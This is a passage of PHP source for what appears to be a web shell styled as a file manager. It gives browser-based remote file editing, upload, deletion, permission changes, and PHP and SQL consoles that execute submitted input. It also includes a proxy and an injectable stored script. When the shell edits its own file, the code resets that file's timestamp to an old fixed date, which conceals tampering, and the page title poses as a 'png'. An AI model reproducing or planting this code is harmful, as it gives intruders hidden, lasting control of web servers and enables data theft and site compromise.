		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
